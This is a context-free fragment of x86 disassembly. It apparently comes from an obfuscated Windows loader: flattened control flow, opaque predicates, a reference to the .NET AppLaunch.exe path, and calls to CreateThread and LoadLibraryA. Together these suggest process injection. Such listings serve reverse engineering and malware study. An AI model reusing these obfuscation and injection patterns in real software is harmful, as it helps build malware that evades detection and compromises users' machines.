mov eax, dword [ebp - 0x4b37c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b37c]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0xc
sub eax, ecx
mov ecx, dword [eax]
mov eax, dword [ebp - 0x4b378]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b378]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 0x14
add ecx, eax
xor eax, eax
sub eax, ecx
mov ecx, dword [eax]
xor eax, eax
sub eax, 8
add ecx, eax
mov eax, dword [ebp - 0x4b374]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4b3cc]
mov eax, dword [ebp - 0x4b37c]
mov eax, dword [eax]
add eax, 0x4765afcf
add eax, 8
sub eax, 0x4765afcf
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b3cc]
mov dword [ebp - 0x4b280], eax
mov eax, dword [ebp - 0x4b374]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 0x18
sub eax, ecx
mov dword [ebp - 0x4b27c], eax
mov dword [ebp - 0x4b3ec], 0xc7126fdf
jmp 0x41410d
mov ecx, dword [ebp - 0x4b280]
mov eax, dword [ebp - 0x4b27c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b374]
mov ecx, dword [eax]
add ecx, 0x6ba168cd
add ecx, 0x24
sub ecx, 0x6ba168cd
mov eax, dword [ebp - 0x4b370]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x4b36c]
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x78
call fcn.0041f250
add esp, 0xc
mov eax, dword [ebp - 0x4b3c8]
cmp dword [eax + 0xe8], 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x4b368]
mov byte [eax], cl
mov eax, dword [ebp - 0x4b368]
mov dl, byte [eax]
mov eax, 0x9ec727f9
mov ecx, 0x246adcfe
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov ecx, dword [0x481554]
mov eax, dword [0x481550]
mov edx, ecx
sub edx, 0x6d8ef033
sub edx, 1
add edx, 0x6d8ef033
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x758215f0
mov ecx, 0xf37b52e4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b3c8]
mov ecx, dword [eax + 0x28]
mov eax, dword [ebp - 0x4b274]
sub eax, 0x19dcccd8
add eax, ecx
add eax, 0x19dcccd8
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, eax
mov eax, dword [ebp - 0x4b360]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b368]
mov dl, byte [eax]
mov eax, 0x5715a59b
mov ecx, 0x9b2367b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x4b3ec], eax
jmp 0x41410d
mov eax, dword [ebp - 0x4b338]
mov eax, dword [ebp - 0x4b33c]
mov dword [ebp - 0x4b3ec], 0x2b519924
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0xe6095fab
jmp 0x41410d
mov eax, dword [ebp - 0x4b2e4]
mov eax, dword [ebp - 0x4b2e0]
mov ecx, dword [ebp - 0x4b2e4]
mov eax, dword [ebp - 0x4b2e0]
sub ecx, 0x6abfc63f
add ecx, eax
add ecx, 0x6abfc63f
mov eax, dword [ebp - 0x4b3ac]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b3a8]
mov dword [eax], 0
mov dword [ebp - 0x4b3ec], 0x3e9c97d1
jmp 0x41410d
mov eax, dword [ebp - 0x4b3a4]
mov ecx, dword [ebp - 0x4b2d8]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b3a4]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov eax, dword [ebp - 0x4b3a0]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4b3a0]
mov dword [ebp - 0x4b3ec], 0xef20ab1c
jmp 0x41410d
mov eax, dword [ebp - 0x4b380]
mov dword [ebp - 0x4b3ec], 0x4d0c9182
jmp 0x41410d
mov eax, dword [ebp - 0x4b380]
mov dword [ebp - 0x4b3ec], 0x6b9f3477
jmp 0x41410d
mov dword [ebp - 0x4b3ec], 0x11b826f4
jmp 0x40fc1c